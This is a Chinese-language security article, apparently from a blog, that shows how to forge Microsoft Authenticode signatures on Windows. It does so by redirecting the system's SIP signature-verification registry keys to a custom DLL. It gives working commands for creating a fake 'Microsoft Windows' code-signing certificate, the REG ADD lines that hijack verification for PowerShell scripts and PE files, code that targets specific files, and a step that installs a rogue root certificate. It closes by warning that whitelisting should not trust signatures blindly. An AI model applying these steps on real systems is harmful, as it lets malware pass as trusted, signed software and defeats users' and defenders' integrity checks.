Authenticode簽名偽造——針對文件類型的簽名偽造
0x00 前言
在上篇文章《Authenticode簽名偽造——PE文件的簽名偽造與簽名驗證劫持》介紹了針對單一文件的Authenticode簽名偽造,需要在文件尾部添加偽造的簽名數據,這次將介紹另一種簽名偽造方式:通過修改系統的簽名獲取機制,欺騙系統將正常文件識別為包含簽名數據。
註:
本文介紹的技巧參考自Matt Graeber@mattifestation公開的資料,本文將結合自己的經驗,整理相關內容,添加個人理解。
參考資料:
https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf
http://www.exploit-monday.com/2017/08/application-of-authenticode-signatures.html
https://drive.google.com/file/d/0B-K55rLoulAfNms1aW1rbXF1Tmc/view
0x01 簡介
本文將要介紹以下內容:
· 針對powershell腳本的簽名偽造方法
· 針對PE文件的簽名偽造方法
· 針對其他類型文件的簽名偽造方法
· 添加代碼實現對特定文件的簽名偽造
0x02 針對powershell腳本的簽名偽造方法
前提是powershell腳本需要包含一個簽名(自己生成的簽名會被識別為無效),下面介紹如何將該無效簽名偽造成有效的微軟簽名
生成測試證書:
makecert -n "CN=Microsoft Windows Test1" -r -eku 1.3.6.1.5.5.7.3.3 -sv certtest.pvk certtest.cercert2spc certtest.cer certtest.spcpvk2pfx -pvk certtest.pvk -pi 123456 -spc certtest.spc -pfx certtest.pfx -f
不需要註冊該證書
註:
使用makecert.exe要加參數: -eku 1.3.6.1.5.5.7.3.3
否則提示證書無法用於代碼簽名,具體錯誤如下:
Set-AuthenticodeSignature : Cannot sign code. The specified certificate is not
suitable for code signing.
如下圖
給powershell腳本簽名:
$cert = Get-PfxCertificate certtest.pfxSet-AuthenticodeSignature -Filepath 1.ps1 -Cert $cert
驗證證書:
Get-AuthenticodeSignature .1.ps1
提示UnknownError,表示文件簽名無效
如下圖
修改註冊表,命令如下:
REG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData" /v "Dll" /t REG_SZ /d "C:testMySIP.dll" /fREG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData" /v "FuncName" /t REG_SZ /d "AutoApproveHash" /fREG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllGetSignedDataMsg" /v "Dll" /t REG_SZ /d "C:testMySIP.dll" /fREG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllGetSignedDataMsg" /v "FuncName" /t REG_SZ /d "GetLegitMSSignature" /f
再次驗證:
Get-AuthenticodeSignature .1.ps1
顯示Valid,簽名有效
如下圖
註:
不同系統下相同名稱的文件簽名不同
AFDD80C4EBF2F61D3943F18BB566D6AA6F6E5033為Matt Graeber測試系統中的notepad.exe簽名hash
現在在我們自己的系統進行測試:Win10 x64
分別獲取notepad.exe的簽名信息:
Get-AuthenticodeSignature c:windowssystem32notepad.exe
sigcheck -i C:WindowsSystem32notepad.exe
可以發現sigcheck的輸出內容中,Thumbprint對應文件簽名hash,如下圖
接下來,將測試系統改為Win7 x86
在Win7下使用Get-AuthenticodeSignature無法獲得notepad.exe的簽名信息(catalog簽名)
如下圖
但可以通過sigcheck獲得,如下圖
hash為:018B222E21FBB2952304D04D1D87F736ED46DEA4
定位cat文件路徑:C:Windowssystem32CatRootntexe.cat
.cat文件保存格式為ASN.1標準,直接通過記事本無法查看,需要解密,在線網址如下:
https://lapo.it/asn1js/
選擇cat文件後即可解密顯示完整格式
格式解析可參考:
https://support.microsoft.com/en-us/help/287547/object-ids-associated-with-microsoft-cryptography
將該文件替換PoCSubjectInterfacePackage工程中的MS_cert.bin,重新編譯
配置註冊表
打開一個新的cmd,查看powershell腳本簽名:
Get-AuthenticodeSignature .1.ps1
同sighcheck獲取的hash值保持一致,如下圖
powershell腳本的Authenticode簽名偽造成功
對以上操作直觀的理解:
該方法是通過修改系統證書驗證過程,使文件將指定的catalog簽名作為自己的Authenticode簽名
當然,所有帶簽名的powershell腳本均會統一成hash為018B222E21FBB2952304D04D1D87F736ED46DEA4的簽名,這就帶來了一個問題:這樣會影響正常系統文件的簽名校驗
我們可以看到,通過這種方式偽造的簽名會作用於所有powershell腳本,那麼,我們能否針對特定powershell腳本作偽造呢?
以Matt Graeber開源的工程PoCSubjectInterfacePackage作為模板進行修改,下載地址如下:
https://github.com/mattifestation/PoCSubjectInterfacePackage
重點關注函數GetLegitMSSignature,在線地址:
https://github.com/mattifestation/PoCSubjectInterfacePackage/blob/master/MySIP/MySIP.c#L138
查看結構SIP_SUBJECTINFO *pSubjectInfo的參數說明,地址如下:
https://msdn.microsoft.com/en-us/library/windows/desktop/bb736434(v=vs.85).aspx
pwsFileName和pwsDisplayName均能夠表示文件名稱,所以可通過MessageBox進行驗證
函數GetLegitMSSignature內添加如下代碼:
MessageBox (NULL, pSubjectInfo->pwsFileName, pSubjectInfo->pwsDisplayName,0);
進行測試,成功獲得傳入文件名,如下圖
接下來的思路:
對傳入的文件名稱進行判斷,滿足條件的文件載入對應的catalog簽名,最終實現對特定文件的簽名偽造
篩選文件的代碼如下:
if(lstrcmpi((LPCTSTR)pSubjectInfo->pwsFileName,L"C:testcer1.ps1")==0)
完整代碼可參考:
https://raw.githubusercontent.com/3gstudent/test/master/MySIP.c
當前文件為C:testcer1.ps1時,符合條件,進行簽名偽造,否則放棄
測試如下圖
成功實現對特定文件的簽名偽造,這種方式的優點是不需要在文件尾部添加Authenticode簽名,不改變文件hash
當然,這僅僅是一個POC,還要對系統文件的簽名驗證做判斷
0x03 針對PE文件的簽名偽造方法
參考這個列表:
· C689AAB8-8E78-11D0-8C47-00C04FC295EE - PE
· DE351A43-8E59-11D0-8C47-00C04FC295EE - catalog .cat文件
· 9BA61D3F-E73A-11D0-8CD2-00C04FC295EE - CTL .ctl文件
· C689AABA-8E78-11D0-8C47-00C04FC295EE - cabinet .cab文件
如果替換exe文件的校驗,即CryptSIPDllVerifyIndirectData和CryptSIPDllGetSignedDataMsg,命令如下:
REG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData" /v "Dll" /t REG_SZ /d "C:testMySIP.dll" /fREG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData" /v "FuncName" /t REG_SZ /d "AutoApproveHash" /fREG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllGetSignedDataMsg" /v "Dll" /t REG_SZ /d "C:testMySIP.dll" /fREG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllGetSignedDataMsg" /v "FuncName" /t REG_SZ /d "GetLegitMSSignature" /f
重啟explorer.exe,所有的exe文件都包含hash為:018B222E21FBB2952304D04D1D87F736ED46DEA4的簽名
特別的地方:偽造的簽名來自於cat文件,但是會以Authenticode簽名的格式顯示,通過文件屬性能夠看到簽名信息(這是Authenticode簽名的特性,catalog簽名不具有該特性)
同樣,修改原工程能夠實現針對特定PE文件的簽名偽造,方法不再贅述
0x04 針對cat文件的簽名偽造方法
如果對所有.cat文件的簽名驗證過程進行替換,再將其添加到安全編錄資料庫中,那麼,包含catalog簽名的PE文件是否也隨即獲得偽造簽名呢?
下面開始測試:
新建文本文檔cat.txt,內容如下:
[CatalogHeader]Name=makecat1.cat[CatalogFiles]ExeFile1=mimikatz.exe
註:
txt文件尾部需要一個空行,否則,在接下來的操作會報錯,提示文件無法找到
使用makecat.exe生成makecat1.cat:
makecat -v cat.txt
為makecat1.cat添加偽造的Authenticode簽名:
signtool sign /f certtest.pfx /p 123456 makecat1.cat
註:
certtest.pfx不能使用之前手動生成的證書,不能加參數: -eku 1.3.6.1.5.5.7.3.3,否則exe文件的catalog簽名將會校驗失敗
生成certtest.pfx的操作如下:
makecert -n "CN=Microsoft Windows Test1" -r -sv certtest.pvk certtest.cercert2spc certtest.cer certtest.spcpvk2pfx -pvk certtest.pvk -pi 123456 -spc certtest.spc -pfx certtest.pfx -f
此處還需要將證書安裝到「受信任的根證書頒發機構」存儲區
管理員許可權:
certmgr.exe -add -c certtest.cer -s -r localmachine root
否則,之後的簽名驗證會報錯,提示證書鏈不可信
補充:
從「受信任的根證書頒發機構」存儲區刪除證書的操作為:
(管理員許可權)
certmgr.exe -del -c -n "Windows Test1" -s -r localMachine Root
替換註冊表鍵值:
REG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData" /v "Dll" /t REG_SZ /d "C:testMySIP.dll" /fREG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData" /v "FuncName" /t REG_SZ /d "AutoApproveHash" /fREG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllGetSignedDataMsg" /v "Dll" /t REG_SZ /d "C:testMySIP.dll" /fREG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllGetSignedDataMsg" /v "FuncName" /t REG_SZ /d "GetLegitMSSignature" /f
將makecat1.cat添加到系統的安全編錄資料庫:
(管理員許可權)
signtool catdb -v makecat1.cat
最終,發現文件的catalog簽名保持不變,無法進行偽造
得出結論:這種方式無法對catalog簽名進行偽造
0x05 小結
本文介紹了Authenticode簽名偽造的另一種利用方法:通過修改系統的簽名獲取機制,欺騙系統將正常文件識別為包含簽名數據。
經過這兩篇文章的測試,得出最終結論:應謹慎對待系統的Authenticode簽名,因為通過修改註冊表或dll劫持等方式均能夠偽造出微軟簽名,對此,白名單等防禦機制不應盲目相信Authenticode簽名過的文件。
※U2F設備安全測試
※Equifax又出事了,網站用戶會被重定向到虛假的Flash更新網站
※ChromeOS基於eCryptfs的用戶數據安全保護機制
※Authenticode簽名偽造——PE文件的簽名偽造與簽名驗證劫持
※「中國菜刀」出海:有人用它從澳大利亞軍方偷了30GB絕密數據
TAG:嘶吼RoarTalk |